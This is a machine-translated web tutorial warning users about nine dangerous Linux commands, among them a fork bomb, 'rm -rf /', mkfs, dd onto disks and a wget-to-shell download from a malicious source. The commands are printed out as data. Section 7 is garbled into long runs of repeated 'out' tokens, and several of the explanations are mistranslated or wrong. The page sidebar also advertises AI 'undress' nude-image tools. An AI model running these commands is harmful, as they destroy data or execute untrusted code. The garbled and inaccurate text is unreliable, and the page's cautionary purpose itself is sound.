Home Backend Development PHP Tutorial 9 commands to operate with caution in Linux

9 commands to operate with caution in Linux

Nov 29, 2016 am 11:00 AM
linux linux command

9 commands to operate with caution in Linux

Linux shell/terminal commands are very powerful, even a simple command may cause folders, files or path folders to be deleted.


In some cases, Linux will not even ask you and directly execute the command, causing you to lose various data information.

Generally speaking, new Linux users are recommended to execute these commands on the Web. Of course, there are also people who have written this code who don’t think so, because this thing is no longer a joke once you write it down.

Here I have collected some Linux codes that are harmful to the system to help you avoid them. Remember: this code is very dangerous and can even be modified to become more harmful.

There’s something else to note: some commands are harmful only if they have the sudo prefix in Ubuntu. Other distributions of Linux will be harmful when used as root directory commands.

1. Linux Fork Bomb Command

:(){ :: &};: Known as Fork Bomb, it is a Linux system that attacks denial of service. :(){ :: & };: is a bash function. As long as it is executed, it will be repeated until the system is frozen.

You can only solve this problem by restarting the system. So be sure to pay attention when you execute this command on the Linux interface.

2. Mv Folder/Dev/Null Command

mv folder/dev/null is also a dangerous command. Dev/null or null device is a device file that deletes all data written on this device file. However, the operation prompt is that the write operation was executed successfully. This is what we often call bit bucked or black hole.

3. Rm -Rf Command

The rm -rf command can quickly delete folders and their contents in Linux systems. If you don't know how to use it correctly, you will just cry.

Listed below are the most common combinations and choices of the m-rf command:

rm command: Delete files in the Linux system
rm -f command: Delete read-only files in the file without prompting
rm -r command Loop to delete files The contents of the folder
rm -d command: Delete the empty directory. If the directory is not empty, the operation will not be performed.
rm -rf/ command: Force the deletion of all contents and subfolders (including write-protected files) in the root directory.
rm -rf* command: Forcefully delete all contents in the current directory (current working directory) and subfolders
rm -rf. command: Forcefully delete all contents in the current folder directory/subdirectory. Same as rm -r.[^.]*
The rm -r.[^.]* command: delete files and folders with deletion prompt

4. Mkfs Command

If you don’t know the function of mkfs, then it is also a dangerous command. Any command written after mkfs will be formatted and replaced by a blank linux file system.

The following are the commands that require administrator rights to format the hard disk:

mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos mkfs.reiserfs
mkfs.vfat
mkfs.cramfs You can also do the same thing as the code above, but without the need to manage source permissions.

5. Tar Bomb

The tar command is used to put multiple files into one file (archive file) in .tar format. Tape Archive (Tar) bomb can be created by him.

When compressed, it is this archive file that generates tens of thousands of similarly named files that appear in the current directory instead of a new directory.

When receiving a tar file, regularly create a new protected directory and then place the received tar file into this directory before decompression, you can avoid becoming a victim of tar bomb.

6. Dd Command

The Dd command is used to copy & change hard disk partitions. If you use it in the wrong place, it can be dangerous.

The dd command is listed below:

dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if =something of=/dev/sda
                                                                                   out out out out out out out out out using using using       out out out out out out out out out out of out out out out ' out out out's'       out out out out out out out out’' out's' out's' out's' ’ Out’s ’ Out’s ’’’ ‐ out's' ’ out's' out's' out's' out's' out out  ‐‐Occasionally, you may be hit by someone else. Pit, give you a shell script file and let you download and execute it. The script may contain some malicious or dangerous code. The command form may be like this: wget http://some_malicious_source -O- sh. wget will download the script when sh narrow script.

8. Malicious Source Code

Maybe someone will give you the source code and let you compile it. The code may be normal code, but there may be some malicious code disguised in the large source code. If so, your system is vulnerable. How to avoid it? Only source code from trustworthy sources is accepted and compiled.

9. Decompression Bomb

You have received a compressed file and you have been asked to extract this seemingly small file, which may be as small as KB. In fact, the small size of the compressed file contains highly compressed data.

As long as the file is decompressed, hundreds of GB of data will be extracted. At this time, the probability of overly large data filling the hard disk and causing downtime is very high. How to avoid it? As the old saying goes, don’t be cheap, accept any documents, please accept documents from trusted sources.



Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Linux Architecture: Unveiling the 5 Basic Components Linux Architecture: Unveiling the 5 Basic Components Apr 20, 2025 am 12:04 AM

The five basic components of the Linux system are: 1. Kernel, 2. System library, 3. System utilities, 4. Graphical user interface, 5. Applications. The kernel manages hardware resources, the system library provides precompiled functions, system utilities are used for system management, the GUI provides visual interaction, and applications use these components to implement functions.

vscode terminal usage tutorial vscode terminal usage tutorial Apr 15, 2025 pm 10:09 PM

vscode built-in terminal is a development tool that allows running commands and scripts within the editor to simplify the development process. How to use vscode terminal: Open the terminal with the shortcut key (Ctrl/Cmd). Enter a command or run the script. Use hotkeys (such as Ctrl L to clear the terminal). Change the working directory (such as the cd command). Advanced features include debug mode, automatic code snippet completion, and interactive command history.

How to check the warehouse address of git How to check the warehouse address of git Apr 17, 2025 pm 01:54 PM

To view the Git repository address, perform the following steps: 1. Open the command line and navigate to the repository directory; 2. Run the "git remote -v" command; 3. View the repository name in the output and its corresponding address.

Where to write code in vscode Where to write code in vscode Apr 15, 2025 pm 09:54 PM

Writing code in Visual Studio Code (VSCode) is simple and easy to use. Just install VSCode, create a project, select a language, create a file, write code, save and run it. The advantages of VSCode include cross-platform, free and open source, powerful features, rich extensions, and lightweight and fast.

How to run java code in notepad How to run java code in notepad Apr 16, 2025 pm 07:39 PM

Although Notepad cannot run Java code directly, it can be achieved by using other tools: using the command line compiler (javac) to generate a bytecode file (filename.class). Use the Java interpreter (java) to interpret bytecode, execute the code, and output the result.

What is the main purpose of Linux? What is the main purpose of Linux? Apr 16, 2025 am 12:19 AM

The main uses of Linux include: 1. Server operating system, 2. Embedded system, 3. Desktop operating system, 4. Development and testing environment. Linux excels in these areas, providing stability, security and efficient development tools.

How to run sublime after writing the code How to run sublime after writing the code Apr 16, 2025 am 08:51 AM

There are six ways to run code in Sublime: through hotkeys, menus, build systems, command lines, set default build systems, and custom build commands, and run individual files/projects by right-clicking on projects/files. The build system availability depends on the installation of Sublime Text.

vscode terminal command cannot be used vscode terminal command cannot be used Apr 15, 2025 pm 10:03 PM

Causes and solutions for the VS Code terminal commands not available: The necessary tools are not installed (Windows: WSL; macOS: Xcode command line tools) Path configuration is wrong (add executable files to PATH environment variables) Permission issues (run VS Code as administrator) Firewall or proxy restrictions (check settings, unrestrictions) Terminal settings are incorrect (enable use of external terminals) VS Code installation is corrupt (reinstall or update) Terminal configuration is incompatible (try different terminal types or commands) Specific environment variables are missing (set necessary environment variables)

See all articles